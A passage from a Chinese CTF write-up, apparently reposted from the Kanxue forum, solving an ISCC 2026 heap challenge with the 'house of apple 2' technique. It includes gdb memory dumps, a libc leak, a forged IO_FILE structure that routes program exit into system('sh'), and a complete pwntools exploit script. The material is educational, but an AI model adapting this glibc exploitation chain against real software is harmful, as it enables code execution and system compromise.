0x5fe8b258d630:&nbsp;0x00005fe8b258d650(已被修改) &nbsp; &nbsp; &nbsp;    0x0000000000000000
0x5fe8b258d640:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000021
0x5fe8b258d650:&nbsp;0x0000000500000001 &nbsp; &nbsp; &nbsp;        0x00005fe8b258d6a0
0x5fe8b258d660:&nbsp;0x0000000000000100 &nbsp; &nbsp; &nbsp;        0x0000000000000031
0x5fe8b258d670:&nbsp;0x0000000a41414141 &nbsp; &nbsp; &nbsp;        0x0000000000000000
0x5fe8b258d680:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000000
0x5fe8b258d690:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000111

stu_pray()                         &nbsp; &nbsp; &nbsp; &nbsp;#将lazy 标识符 还原回去
payload =&nbsp;p64(1) +&nbsp;p64(heap_base+0x2f0) +&nbsp;p64(0x8)     &nbsp; &nbsp; &nbsp; &nbsp;#将 stu_1 comment_chunk_addr 修改
stu_mode(payload)

payload =&nbsp;str(leak_addr +&nbsp;0x49).encode() + b'X'            #随便找一个位置,别让任何地址 +1&nbsp;破坏程序
stu_show(payload)

io.recvuntil(b'here is the review:\n')
main_arena =&nbsp;u64(io.recvuntil(b'1. do',drop=True).ljust(8,b'\x00'))-96

print(hex(main_arena))
libc_base = main_arena -&nbsp;0x10 - libc.sym['__malloc_hook']    #获得libc基址
system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
log.success(f"libc_base = {hex(libc_base)}")
log.success(f"system_addr = {hex(system_addr)}")
log.success(f"IO_list_all = {hex(IO_list_all)}")
log.success(f"IO_wfile_jumps = {hex(IO_wfile_jumps)}")

IO_FILE结构体布局

原理:当程序退出时,会把未写入的缓冲区数据写入,我们伪造 _IO_write_ptr > _IO_write_base 表示有数据需要写入,_IO_write_base = 0,程序会认为我们没有缓冲区,但是我们要写入数据,所以他会创建一个缓冲区给我们,就是函数__doallocate,偏移为0x68,所以我们在_IO_wfile_jumps偏移0x68处写入system地址,在结构体头部写入sh即可完成攻击。

file_addr = heap_base + 0x810             &nbsp; &nbsp; &nbsp; &nbsp;#stu_2 的 comment_chunk地址
IO_wide_data_addr=file_addr         &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#采用空间复用,IO_FILE和IO_WIDE_DATA共用同一块空间(之前学习house of apple2 时的大佬写的)
wide_vtable_addr=file_addr+0xe8-0x68         &nbsp; &nbsp; &nbsp; &nbsp;#IO_WIDE_DATA 偏移0xe0处 是宽字节虚表地址 宽字节虚表 偏移0x68 处是 __doallocate函数
# 0xe0 - 0x68 + 0x8(这个是虚表地址的长度)
_IO_stdfile_2_lock = file_addr + 0x38         &nbsp; &nbsp; &nbsp; &nbsp;#随便找一个可读可写,初始为0的地址

#第一,fake_io.ljust(0xe8, b'\x00')的原因是为了伪造 IO_FILE 偏移 0xd8 处的虚表(有检查,写入真实的虚表地址)
#第二,fake_io += p64(0) * 2是用来防止fd,bk指针破坏结构,所以上面的fake_io.ljust(0xe8, b'\x00') -> 0xe8 = 0xd8 + 0x10
#第三,p64(system_addr)接着p64(wide_vtable_addr)后面是因为wide_vtable_addr=file_addr+0xe8-0x68

fake_io = b""
fake_io += p64(0) * 2
fake_io += b" &nbsp;sh;".ljust(8, b'\x00')
fake_io += p64(0)
fake_io += p64(0) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# _IO_read_end
fake_io += p64(0) &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# _IO_read_base
fake_io += p64(0) &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# _IO_write_base _IO_write_ptr > _IO_write_base
fake_io += p64(1) &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# _IO_write_ptr &nbsp;为了通过检查,接下来会强制flush
fake_io += p64(0) &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# _IO_write_end
fake_io += p64(0) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# _IO_buf_base;
fake_io += p64(0)              &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) * 4 &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# from _IO_save_base to _markers
fake_io += p64(0) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# the FILE chain ptr
fake_io += p32(2) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# _fileno for stderr is 2
fake_io += p32(0) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) &nbsp;         &nbsp; &nbsp; &nbsp; &nbsp;# _old_offset, -1
fake_io += p16(0) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# _cur_column
fake_io += b"\x00"&nbsp;                  &nbsp; &nbsp; &nbsp; &nbsp;# _vtable_offset
fake_io += b"\n"&nbsp;                  &nbsp; &nbsp; &nbsp; &nbsp;# _shortbuf[1]
fake_io += p32(0) &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# padding
fake_io += p64(_IO_stdfile_2_lock) &nbsp;         &nbsp; &nbsp; &nbsp; &nbsp;# _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) &nbsp;     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# _offset, -1
fake_io += p64(0) &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) &nbsp;         &nbsp; &nbsp; &nbsp; &nbsp;# _IO_wide_data_1 _wide_data结构体
fake_io += p64(0) * 3 &nbsp;                 &nbsp; &nbsp; &nbsp; &nbsp;# from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp;# _mode, usually -1 &nbsp; &nbsp; mode < 0
fake_io += b"\x00"&nbsp;* 19 &nbsp;             &nbsp; &nbsp; &nbsp; &nbsp;#_unused2
fake_io = fake_io.ljust(0xe8, b'\x00') &nbsp;     &nbsp; &nbsp; &nbsp; &nbsp;#adjust to vtable
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps']) &nbsp;    #fake vtable
fake_io += p64(wide_vtable_addr)      &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#_wide_data结构体中的虚表地址
fake_io += p64(system_addr) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#wide_vtable_addr=file_addr+0xe8-0x68

change(0)
tea_comment(2,0x100,fake_io)             &nbsp; &nbsp; &nbsp; &nbsp;#写入

题目没有符号表,我强行让gdb输出的,只能看最基础的,不过也够了 🙁 ,可以看出我们的布局十分完美。

触发攻击

我们要想要触发,就要修改 IO_list_all 指向我们部署好的 file_addr 然后让程序正常退出(double free之类的异常退出失效了!!!),虽然程序没有给exit函数,但是我们把学生删完了再切换到学生模式是一样的效果。

我们前面修改了 stu_1 的 comment_chunk 和 mode_chunk,我们需要修复,负责会 double free

#我们需要修改 0x568d008ff630: 0x0000568d008ff650 和 0x568d008ff658: 0x0000568d008ff2f0
#让comment_chunk和mode_chunk修改IO_list_all,后面的修复都是一样的,随便都可以
#我选择让comment_chunk指向0x568d008ff630,size改成0x30,用mode_chunk修改IO_list_all后
#用comment_chunk一次性修复0x568d008ff630-0x568d008ff650

#注意,为了美观我修改了下面堆基址和第一次保持一致,不影响里面的内容
(当前)
0x568d008ff630: 0x0000568d008ff650 &nbsp; &nbsp; &nbsp;0x0000000000000000
0x568d008ff640: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
0x568d008ff650: 0x0000000000000001 &nbsp; &nbsp; &nbsp;0x0000568d008ff2f0
0x568d008ff660: 0x0000000000000008 &nbsp; &nbsp; &nbsp;0x000000000000000a

(初始)
0x568d008ff630: 0x0000568d008ff670 &nbsp; &nbsp; &nbsp;0x0000000000000000
0x568d008ff640: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
0x568d008ff650: 0x0000000300000001 &nbsp; &nbsp;     0x0000568d008ff6a0
0x568d008ff660: 0x0000000000000100 &nbsp; &nbsp; &nbsp;0x0000000000000031

------------------------(第一步)-------------------------------
change(1)
stu_id(1)
payload = p64(1) + p64(heap_base + 0x630) + p64(0x30) + p64(0x31)
stu_mode(payload)

0x568d008ff630: 0x0000568d008ff650 &nbsp; &nbsp; &nbsp;0x0000000000000000
0x568d008ff640: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
0x568d008ff650: 0x0000000000000001 &nbsp; &nbsp; &nbsp;0x0000568d008ff630
0x568d008ff660: 0x0000000000000030 &nbsp; &nbsp; &nbsp;0x0000000000000031

------------------------(第二步)-------------------------------
stu_pray()
stu_mode("48")                 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#修改mode_chunk指向0x568d008ff630
stu_pray()
stu_mode(p64(IO_list_all))         &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#修改mode_chunk指向IO_list_all
stu_mode(p64(heap_base + 0x810))     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#修改IO_list_all指向file_addr

0x568d008ff630: 0x000071f9cbb0c5a0 &nbsp; &nbsp; &nbsp;0x000000000000000a
0x568d008ff640: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
0x568d008ff650: 0x0000000000000001 &nbsp; &nbsp; &nbsp;0x0000568d008ff630
0x568d008ff660: 0x0000000000000030 &nbsp; &nbsp; &nbsp;0x0000000000000031

pwndbg> p/x &_IO_list_all
$1 = 0x71f9cbb0c5a0
pwndbg> x/2gx 0x71f9cbb0c5a0
0x71f9cbb0c5a0 <_IO_list_all>: &nbsp;0x0000568d008ff810 &nbsp; &nbsp; &nbsp;0x000000000000000a

------------------------(第三步)-------------------------------
change(0)
payload = p64(heap_base + 0x670) + p64(0)*2 + p64(0x21) + p64(1) + p64(heap_base + 0x6A0)
tea_comment(1,0x30,payload)         &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#修复stu_1 mode_chunk和comment_chunk

0x568d008ff630: 0x0000568d008ff670 &nbsp; &nbsp; &nbsp;0x0000000000000000
0x568d008ff640: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
0x568d008ff650: 0x0000000000000001 &nbsp; &nbsp; &nbsp;0x0000568d008ff6a0
0x568d008ff660: 0x0000000000000030 &nbsp; &nbsp; &nbsp;0x0000000000000031

------------------------(第四步)-------------------------------
tea_free(2)
tea_free(1)

change(1)

io.interactive()

#

七、完整EXP

from&nbsp;pwn&nbsp;import&nbsp;*
from&nbsp;struct&nbsp;import&nbsp;pack
#context(arch = 'i386', os = 'linux',log_level='debug')
context(arch =&nbsp;'amd64',os =&nbsp;'linux',log_level='debug')

#io = process('./pwn')
#ld_path m './ld-2.31.so'
#libc_path = './1.so'
#binary_path = './pwn'
#io = process([ld_path, binary_path], env={'LD_PRELOAD': libc_path})
#io = remote('node5.buuoj.cn','25109')

io = process('./pwn_patched')
#io = remote('39.96.193.120','10015')
context.terminal = ['tmux',&nbsp;'splitw',&nbsp;'-v']
libc = ELF('./1.so')
elf = ELF('./pwn_patched')
######################配置信息####################

io.sendlineafter(b'<0.teacher/1.student>:',b'0')

def&nbsp;change(role):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'5')
&nbsp; &nbsp; io.sendlineafter(b'role: <0.teacher/1.student>:',str(role))

def&nbsp;tea_add(num):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'1')
&nbsp; &nbsp; io.sendlineafter(b'of questions:',str(num))
&nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;tea_score():
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'2')
&nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;tea_comment(index,size,content):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'3')
&nbsp; &nbsp; io.sendlineafter(b'which one? > ',str(index))
if&nbsp;io.recvuntil(b'enter your comment:\n',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; io.sendline(content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')
else:
&nbsp; &nbsp; &nbsp; &nbsp; io.sendlineafter(b'the size of comment: ',str(size))
&nbsp; &nbsp; &nbsp; &nbsp; io.sendlineafter(b'enter your comment:\n',content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;tea_free(index):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'4')
&nbsp; &nbsp; io.sendlineafter(b'id to choose?\n',str(index))
&nbsp; &nbsp; io.recvuntil(b'Say goodbye to him/her!')

def&nbsp;stu_id(index):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'6')
&nbsp; &nbsp; io.sendlineafter(b'input your id:',str(index))
&nbsp; &nbsp; io.recvuntil(f"hello, student&nbsp;{str(index)}")

def&nbsp;stu_show(addr):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'2')
if&nbsp;io.recvuntil(b'Good Job! Here is your reward!',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; heap_addr =&nbsp;int(io.recvuntil(b'\n',drop=True),16)
&nbsp; &nbsp; &nbsp; &nbsp; io.sendlineafter(b'you want! addr: ',str(addr))
return&nbsp;heap_addr

def&nbsp;stu_pray():
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'3')
&nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;stu_mode(content):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'4')
if&nbsp;io.recvuntil(b'enter your mode!',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; io.sendline(content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')
elif&nbsp;io.recvuntil(b'enter your pray score: 0 to 100\n',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; io.sendline(content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')

tea_add(1)
tea_comment(0,0x328,b'AAAA')
tea_add(1)

change(1)
stu_id(1)
stu_mode(b'AAAA')
change(0)

payload = p64(0) *&nbsp;15&nbsp;+ p64(0x21) + p64(0) *&nbsp;3&nbsp;+ p64(0x21)
tea_comment(1,0x100,payload)
tea_add(2)
tea_comment(2,0x120,b'AAAA')
change(1)
stu_pray()
change(0)
tea_score()
change(1)

io.sendlineafter(b'choice>> ',b'2')
io.recvuntil(b'Good Job! Here is your reward!')
leak_addr =&nbsp;int(io.recvuntil(b'\n',drop=True),16)

heap_base = leak_addr & ~0xFFF
log.success(f"heap_base =&nbsp;{hex(heap_base)}")

payload =&nbsp;str(leak_addr +&nbsp;0x49).encode() +&nbsp;b'X'
io.sendlineafter(b'you want! addr: ',payload)

change(0)
tea_free(0)

change(1)
stu_id(1)
stu_pray()

stu_mode("80")
stu_pray()
payload = p64(1) + p64(heap_base+0x2f0) + p64(0x8)
stu_mode(payload)

payload =&nbsp;str(leak_addr +&nbsp;0x49).encode() +&nbsp;b'X'
stu_show(payload)

io.recvuntil(b'here is the review:\n')
main_arena = u64(io.recvuntil(b'1. do',drop=True).ljust(8,b'\x00'))-96

print(hex(main_arena))
libc_base = main_arena -&nbsp;0x10&nbsp;- libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
log.success(f"libc_base =&nbsp;{hex(libc_base)}")
log.success(f"system_addr =&nbsp;{hex(system_addr)}")
log.success(f"IO_list_all =&nbsp;{hex(IO_list_all)}")
log.success(f"IO_wfile_jumps =&nbsp;{hex(IO_wfile_jumps)}")

file_addr = heap_base +&nbsp;0x810
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68
_IO_stdfile_2_lock = file_addr +&nbsp;0x38

fake_io =&nbsp;b""
fake_io += p64(0) *&nbsp;2
fake_io +=&nbsp;b" &nbsp;sh;".ljust(8,&nbsp;b'\x00')
fake_io += p64(0)
fake_io += p64(0) &nbsp;# _IO_read_end
fake_io += p64(0) &nbsp;# _IO_read_base
fake_io += p64(0) &nbsp;# _IO_write_base &nbsp; &nbsp; _IO_write_ptr > _IO_write_base
fake_io += p64(1) &nbsp;# _IO_write_ptr &nbsp; &nbsp; &nbsp;为了通过检查,接下来会强制flush
fake_io += p64(0) &nbsp;# _IO_write_end
fake_io += p64(0) &nbsp;# _IO_buf_base;
fake_io += p64(0) &nbsp;# _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) *&nbsp;4&nbsp;&nbsp;# from _IO_save_base to _markers
fake_io += p64(0) &nbsp;# the FILE chain ptr
fake_io += p32(2) &nbsp;# _fileno for stderr is 2
fake_io += p32(0) &nbsp;# _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) &nbsp;# _old_offset, -1
fake_io += p16(0) &nbsp;# _cur_column
fake_io +=&nbsp;b"\x00"&nbsp;&nbsp;# _vtable_offset
fake_io +=&nbsp;b"\n"&nbsp;&nbsp;# _shortbuf[1]
fake_io += p32(0) &nbsp;# padding
fake_io += p64(_IO_stdfile_2_lock) &nbsp;# _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) &nbsp;# _offset, -1
fake_io += p64(0) &nbsp;# _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) &nbsp;# _IO_wide_data_1 _wide_data结构体
fake_io += p64(0) *&nbsp;3&nbsp;&nbsp;# from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) &nbsp;# _mode, usually -1 &nbsp; &nbsp; &nbsp; &nbsp; mode < 0
fake_io +=&nbsp;b"\x00"&nbsp;*&nbsp;19&nbsp;&nbsp;#_unused2
fake_io = fake_io.ljust(0xe8,&nbsp;b'\x00') &nbsp;#adjust to vtable
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps']) &nbsp;#fake vtable
fake_io += p64(wide_vtable_addr)&nbsp;#_wide_data结构体中的虚表地址
fake_io += p64(system_addr)&nbsp;#wide_vtable_addr=file_addr+0xe8-0x68

change(0)
tea_comment(2,0x100,fake_io)

change(1)
stu_id(1)

payload = p64(1) + p64(heap_base +&nbsp;0x630) + p64(0x30) + p64(0x31)

stu_mode(payload)

stu_pray()
stu_mode("48")
stu_pray()
stu_mode(p64(IO_list_all))
stu_mode(p64(heap_base +&nbsp;0x810))

change(0)
payload = p64(heap_base +&nbsp;0x670) + p64(0)*2&nbsp;+ p64(0x21) + p64(1) + p64(heap_base +&nbsp;0x6A0)
tea_comment(1,0x30,payload)

tea_free(2)
tea_free(1)

change(1)

io.interactive()

gdb.attach(io)
pause()

#

看雪ID:xnqjns

https://bbs.kanxue.com/user-home-1058447.htm

*本文为看雪论坛精华文章,由 xnqjns 原创,转载请注明来自看雪社区

第十届安全开发者峰会【议题征集】-欢迎投稿

往期推荐

ret2dlresolve分析

ELF GOT Hook 实战

面向复现的逆向工程实践:Hermes 在设备刷写、提权与 Frida 魔改中的自动化能力验证

把 .o 变成 .ko:GKI 安全特性的铁幕

实战APP全流程分析(检测绕过/登录分析/视频解锁/native加密/广告绕过)

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 xnqjns xnqjns《ISCC 2026 题目 [house of apple 2] 利用方法》

    评论:0   参与:  0